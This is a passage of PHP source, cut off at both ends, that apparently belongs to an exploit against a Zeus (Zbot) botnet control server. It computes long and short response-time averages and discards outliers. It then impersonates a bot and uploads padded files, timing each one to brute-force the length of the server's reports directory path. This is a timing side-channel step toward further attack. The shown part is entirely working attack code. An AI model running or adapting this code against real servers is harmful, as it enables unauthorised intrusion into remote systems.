$longStats->setVars($newVars);
$longDelta = $longStats->calcAverage();
print "\n[!] statistic for relative-long average time period: {$longDelta}";
$longStats->reset();
$newVars = array();
foreach ($shortStats->getVars() as $var) {
if ($var < $shortStats->calcAverage() + $shortStats->calcStdDeviation()) {
array_push($newVars, $var);
continue;
}
print "\n[!] excluding the value {$var} from short response time statistics";
}
$shortStats->setVars($newVars);
$shortDelta = $shortStats->calcAverage();
print "\n[!] statistic for relative-short average time period: {$shortDelta}";
$shortStats->reset();
# if short average + 50% short average > long average
if ($shortDelta + $shortDelta / 100 * PLUS_TIME_INTERVAL_THRESHOLD < $longDelta) {
$negTimeCounter = 0;
print "\n[V] a satisfying interval has been achieved. moving on to brute forcing the directory length.";
for ($i = MAX_FILE_NAME; $i >= 0; $i--) {
$stopper->start();
$Zbot->uploadFile(rand_str($i) . '.dat', str_repeat('A', 9990) . rand_str(10));
$stopper->stop();
$delta = $stopper->getDelta();
print "\n{$i}: {$delta}";
if (@closest(array($longDelta, $shortDelta), $delta) == $shortDelta) {
# max - file-len - botid - botnet - "/files///" - ".dat"
$reportsDirLen = MAX_FILE_NAME - $i - strlen($Zbot->getBotId() . $Zbot->getBotnetName()) - 9;
if ($reportsDirLen <= 0) {
if ($negTimeCounter == ALLOWED_NEGATIVE_RESULTS) {
